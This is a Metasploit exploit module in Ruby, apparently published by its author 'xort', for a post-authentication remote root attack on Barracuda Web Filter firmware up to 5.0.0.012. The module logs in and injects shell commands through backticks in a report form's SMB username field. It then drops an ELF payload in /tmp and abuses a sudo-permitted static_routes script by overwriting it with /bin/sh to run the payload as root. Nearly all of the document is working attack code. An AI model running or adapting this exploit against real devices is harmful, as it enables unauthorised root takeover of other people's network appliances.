# Exploit Title: Barracuda Firmware <= 5.0.0.012 Post Auth Remote Root exploit
# Exploit Author: xort
# Vendor Homepage: https://www.barracuda.com/
# Software Link: https://www.barracuda.com/products/webfilter
# Version: Firmware <= 5.0.0.012 
# Tested on: Vx and Hardware platforms 
#
# Postauth remote root in Barracuda Firmware <= 5.0.0.012 for any under priviledged user with report generating
# capablities. This exploit leverages a command injection bug along with poor sudo permissions to obtain
# root. xort@blacksecurity.org

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include  Exploit::Remote::Tcp
        include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Barracuda Firmware <= 5.0.0.012 reporting Post Auth Remote Root',
          'Description'    => %q{
          This module exploits a remote command execution vulnerability in
        the Barracuda Firmware Version <= 5.0.0.012 by exploiting a
        vulnerability in the web administration interface.
          By sending a specially crafted request it's possible to inject system
         commands while escalating to root do to relaxed sudo configuration on the local 
        machine.
      },
      'Author'         =>
        [
          'xort', # metasploit module
        ],
      'Version'        => '$Revision: 12345 $',
      'References'     =>
        [
          [ 'none', 'none'],
        ],
      'Platform'      => [ 'linux'],
      'Privileged'     => true,
       'Arch'          => [ ARCH_X86 ],
                        'SessionTypes'  => [ 'shell' ],
                        'Privileged'     => false,

            'Payload'        =>
                                { # note: meterpreter can't run on host do to kernel 2.4 incompatibilities + this is stable 
                                  'Compat' =>
                                  {
                                        'ConnectionType' => 'find',
                                  }
                                },

      'Targets'        =>
        [
          ['Linux Universal',
            {
                'Arch' => ARCH_X86,
                'Platform' => 'linux'
            }
          ],
        ],
      'DefaultTarget' => 0))

      register_options(
        [
          OptString.new('PASSWORD', [ false, 'Device password', "" ]),  
          OptString.new('ET', [ false, 'Device password', "" ]),
                 OptString.new('USERNAME', [ true, 'Device password', "admin" ]),  
          OptString.new('CMD', [ false, 'Command to execute', "" ]),  
          Opt::RPORT(8000),
        ], self.class)
  end

  def do_login(username, password, et)
    vprint_status( "Logging into machine with credentials...\n" )
    
        # timeout
    timeout = 1550;

    # params
                password_clear = "admin"
    real_user = "";
    login_state = "out"
    enc_key = Rex::Text.rand_text_hex(32)
       et = "1358817515"
    locale = "en_US"
    user = username
    password = Digest::MD5.hexdigest(username+enc_key) 
    enctype = "MD5"
    password_entry = ""
    
    
    vprint_status( "Starting first routine...\n" )

                data = "real_user=#{real_user}&login_state=#{login_state}&enc_key=#{enc_key}&et=#{et}&locale=#{locale}&user=#{user}&password=#{password}&enctype=#{enctype}&password_entry=#{password_entry}&password_clear=#{password_clear}&Submit=Login"
  
    vprint_status( "#{data}\n" )
    
          res = send_request_cgi(
                {
                      'method'  => 'POST',
                      'uri'     => "/cgi-mod/index.cgi",
                      'cookie'  => "",
          'data'    => data
               }, timeout)


    vprint_status( "login got code: #{res.code} ... continuing to second request..." )
    File.open("/tmp/output2", 'w+') {|f| f.write(res.body) }

    # get rid of first yank 
    password = res.body.split('\n').grep(/(.*)id=\"password\" value=\"(.*)\"/){$2}[0] #change to match below for more exact result
    et = res.body.split('\n').grep(/(.*)id=\"et\" value=\"([^\"]+)\"/){$2}[0]

    vprint_status( "password got back = #{password} - et got back = #{et}\n" )

    return password, et
  end

  def run_command(username, password, et, cmd)
    vprint_status( "Running Command...\n" )

     exploitreq = [
    [ "primary_tab", "BASIC" ],
    [ "secondary_tab","reports" ],
    [ "realm","" ],
    [ "auth_type","Local" ],
    [ "user", username ],
    [ "password", password  ],
    [ "et",et ],
    [ "role","" ],
    [ "locale","en_US" ],
    [ "q","" ],
    [ "UPDATE_new_report_time_frame","custom" ],
    [ "report_start","2013-01-25 01:14" ],
    [ "report_end","2013-01-25 02:14" ],
    [ "type","" ],
    [ "ntlm_server","" ],
    [ "kerb_server","" ],
    [ "local_group","changeme" ],           
    [ "ip_group","20.20.108.0/0.0.0.0" ],  
    [ "ip_address__0","" ],
    [ "ip_address__1","" ],
    [ "ip_address__2","" ],
    [ "ip_address__3","" ],
    [ "netmask__0","" ],
    [ "netmask__1","" ],
    [ "netmask__2","" ],
    [ "netmask__3","" ],
    [ "UPDATE_new_report_pattern_values","" ],
    [ "UPDATE_new_report_pattern_text","" ],
    [ "UPDATE_new_report_filter_destination","domain" ],
    [ "filter_domain","" ],
    [ "UPDATE_new_report_filter_domain","" ],
    [ "UPDATE_new_report_filter_category","" ],
    [ "UPDATE_new_report_exclude_from","" ],
    [ "UPDATE_new_report_exclude_to","" ],
    [ "UPDATE_new_report_exclude_days","" ],
    [ "allow","allow" ],
    [ "block","block" ],
    [ "warn","warn" ],
    [ "monitor","monitor" ],
    [ "UPDATE_new_report_filter_actions","allow,block,warn,monitor" ],
    [ "UPDATE_new_report_filter_count","10" ],
    [ "UPDATE_new_report_chart_type","vbar" ],
    [ "UPDATE_new_report_format","html" ],
    [ "DEFAULT_new_report_group_expand","No" ],
    [ "UPDATE_new_report_expand_user_count","5" ],
    [ "UPDATE_new_report_expand_domain_count","5" ],
    [ "UPDATE_new_report_expand_cat_count","5" ],
    [ "UPDATE_new_report_expand_url_count","5" ],
    [ "UPDATE_new_report_expand_threat_count","5" ],
    [ "report","on" ],
    [ "UPDATE_new_report_name", Rex::Text.rand_text_alphanumeric(10) ],
    [ "UPDATE_new_report_id","" ],
    [ "UPDATE_new_report_enabled","Yes" ],
    [ "secondary_scope","report" ],
    [ "secondary_scope_data","" ],
    [ "UPDATE_new_report_reports","sessions_by_user,infection_activity" ],
    [ "UPDATE_new_report_delivery","external" ],
    [ "UPDATE_new_report_delivery_dest_email","" ],
    [ "UPDATE_new_report_server","new" ],
    [ "UPDATE_new_external_server_type","smb" ],
    [ "UPDATE_new_external_server_alias", Rex::Text.rand_text_alphanumeric(10) ],
    [ "UPDATE_new_external_server","4.4.4.4" ],
    [ "UPDATE_new_external_server_port","445" ],
    [ "UPDATE_new_external_server_username","\"` #{cmd} `\"" ],
    [ "UPDATE_new_external_server_password","asdf" ],
    [ "UPDATE_new_external_server_path","/"+ Rex::Text.rand_text_alphanumeric(15) ],
    [ "UPDATE_new_report_frequency", "once" ],
    [ "UPDATE_new_report_split", "no" ],
    [ "add_report_id","Apply" ],
    [ "remover","" ] 
    ]

    
          data = Rex::MIME::Message.new
    data.bound = "---------------------------" + Rex::Text.rand_text_numeric(30)
  
    exploitreq.each do |xreq|
                data.add_part(xreq[1], nil, nil, "form-data; name=\"" + xreq[0] + "\"")
    end

          post_data = data.to_s
          post_data = post_data.gsub(/\r\n---------------------------/, "---------------------------")    

    datastore['UserAgent'] = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0"

    vprint_status( "sending..." )
          res = send_request_cgi({
              'method' => 'POST',
             'uri'    => "/cgi-mod/index.cgi",
              'ctype'  => "multipart/form-data; boundary=#{data.bound}",
                 'data'   => post_data,
       'headers' => 
      {
        'Accept' => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        'Accept-Language' => "en-US,en;q=0.5"
      }
          })  

    if res.code == 200
      vprint_status( "You can now reuse the login params you were supplied to avoid the lengthy wait at the exploits initial launch.... \n" )
      vprint_status( "password: #{password} et: #{et}\n" )
    end


    vprint_status( "login got code: #{res.code} from report_results.cgi\n" )
    File.open("/tmp/output4", 'w+') {|f| f.write(res.body) }
  end

  def run_script(username, password, et, cmds)
      vprint_status( "running script...\n")
    
    
  end
  
  def exploit
    # timeout
    timeout = 1550;

    user = "admin"
    
    # params
                real_user = "";
    login_state = "out"
                et = "1358817515" #epoch time
    locale = "en_US"
    user = "admin"
    password = ""
    enctype = "MD5"
    password_entry = ""
    password_clear = "admin"
    
                vprint_status("<- Encoding payload to elf string...")
                elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
                encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\\\\\\\\\x\1\2') # extra escaping to get passed down correctly

    if not datastore['PASSWORD'].nil? and not datastore['PASSWORD'].empty?

      password_clear = "admin"
      password = datastore['PASSWORD']
      et = datastore['ET'] 

                # else - if no 'CMD' string - add code for root shell
                else   

      password, et = do_login(user, password, et)
      vprint_status("new password: #{password}\n")
    end

    sleep(5)

    if not datastore['CMD'].nil? and not datastore['CMD'].empty?
      cmd = datastore['CMD']  
    end

    run_command(user, password, et, cmd)
    
    # create elf in /tmp, abuse sudo to overwrite another command we have sudo access to (static routes scripts), then execute with sudo perm
    cmd =  "echo -ne #{encoded_elf} > /tmp/x ;"
    cmd += "chmod +x /tmp/x ;"

    # backup static_routes file
    cmd += "cp -f /home/product/code/config/static_routes /tmp/zzz"
    cmd += "sudo cp -f /bin/sh /home/product/code/config/static_routes"
  
    # execute elf as root 
    cmd += "sudo /home/product/code/config/static_routes -c /tmp/x ;"

    # restore static_routes file
    cmd += "cp -f /tmp/zzz /home/product/code/config/static_routes"
    
    
    run_command(user, password, et, cmd)
    sleep(2)
    handler
    sleep(5)
    
  end

end